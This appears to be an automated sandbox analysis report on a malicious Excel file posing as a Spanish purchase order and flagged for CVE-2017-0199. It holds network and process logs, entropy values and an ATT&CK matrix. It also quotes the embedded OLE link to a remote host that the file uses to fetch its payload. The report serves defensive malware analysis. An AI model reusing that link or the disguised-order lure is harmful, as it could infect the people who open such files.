Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.95:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49931 version: TLS 1.2

System Summary

Excel sheet contains many unusual embedded objects

Source: NUEVA ORDEN DE COMPRA 73244.xla.xlsx	OLE: Microsoft Excel 2007+
Source: B0D30000.0.dr	OLE: Microsoft Excel 2007+
Source: ~DFD4C805AC66230DA2.TMP.0.dr	OLE: Microsoft Excel 2007+

Source: NUEVA ORDEN DE COMPRA 73244.xla.xlsx

OLE indicator, VBA macros: true

Source: NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Stream path 'MBD00F25731/\x1Ole' : https://acesso.run/wMyYAg?&morsel=bewildered&bifocals=oafish&eggrhFNjY:3u.A/`B115:gj(C\]5jMMZfY4JhA927eK7ehyRoCFSzrlxXTi3xZTLOUElDI0unOgjHD7o8dpKUlM1I1ivvOYXX4vMPFvAD5SinPixn1dQrIWg1YdeXPEyCLgaXJqwLaIqmFIWxxSPeRWdKsowJrzBeahAS8YzRdENlGHzwCQ3yeoy1rxSSYHYLzF2a0u5r9YdlM5WSYDNfzXq0JANthNHfcgs{t?}dYB]Z'
Source: B0D30000.0.dr	Stream path 'MBD00F25731/\x1Ole' : https://acesso.run/wMyYAg?&morsel=bewildered&bifocals=oafish&eggrhFNjY:3u.A/`B115:gj(C\]5jMMZfY4JhA927eK7ehyRoCFSzrlxXTi3xZTLOUElDI0unOgjHD7o8dpKUlM1I1ivvOYXX4vMPFvAD5SinPixn1dQrIWg1YdeXPEyCLgaXJqwLaIqmFIWxxSPeRWdKsowJrzBeahAS8YzRdENlGHzwCQ3yeoy1rxSSYHYLzF2a0u5r9YdlM5WSYDNfzXq0JANthNHfcgs{t?}dYB]Z'

Source: ~DFD4C805AC66230DA2.TMP.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Window title found: microsoft excel okexcel cannot open the file 'nueva orden de compra 73244.xla.xlsx' because the file format or file extension is not valid. verify that the file has not been corrupted and that the file extension matches the format of the file.

Source: classification engine

Classification label: mal60.expl.winXLSX@6/24@1/3

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\Desktop\~$NUEVA ORDEN DE COMPRA 73244.xla.xlsx

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{A7DA99D3-CC66-4BD6-9C09-111304F170F4} - OProcSessId.dat

Jump to behavior

Source: NUEVA ORDEN DE COMPRA 73244.xla.xlsx	OLE indicator, Workbook stream: true
Source: B0D30000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: NUEVA ORDEN DE COMPRA 73244.xla.xlsx

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\NUEVA ORDEN DE COMPRA 73244.xla.xlsx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3EE60F5C-9BAD-4CD8-8E21-AD2D001D06EB}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: NUEVA ORDEN DE COMPRA 73244.xla.xlsx

Static file information: File size 1227776 > 1048576

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: B0D30000.0.dr

Initial sample: OLE indicators vbamacros = False

Source: NUEVA ORDEN DE COMPRA 73244.xla.xlsx

Initial sample: OLE indicators encrypted = True

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Stream path 'MBD00F25730/Package' entropy: 7.99679068973 (max. 8.0)
Source: NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Stream path 'Workbook' entropy: 7.99865896972 (max. 8.0)
Source: B0D30000.0.dr	Stream path 'MBD00F25730/Package' entropy: 7.9940690446 (max. 8.0)
Source: B0D30000.0.dr	Stream path 'Workbook' entropy: 7.99811522829 (max. 8.0)
Source: ~DFD4C805AC66230DA2.TMP.0.dr	Stream path 'Package' entropy: 7.9940690446 (max. 8.0)

Source: C:\Windows\splwow64.exe

Window / User API: threadDelayed 761

Jump to behavior

Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000			Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	13 Exploitation for Client Execution	1 Scripting	1 Process Injection	2 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	1 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
NUEVA ORDEN DE COMPRA 73244.xla.xlsx	18%	ReversingLabs	Document-Excel.Exploit.CVE-2017-0199
NUEVA ORDEN DE COMPRA 73244.xla.xlsx	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
acesso.run	172.67.162.95	true	false	unknown
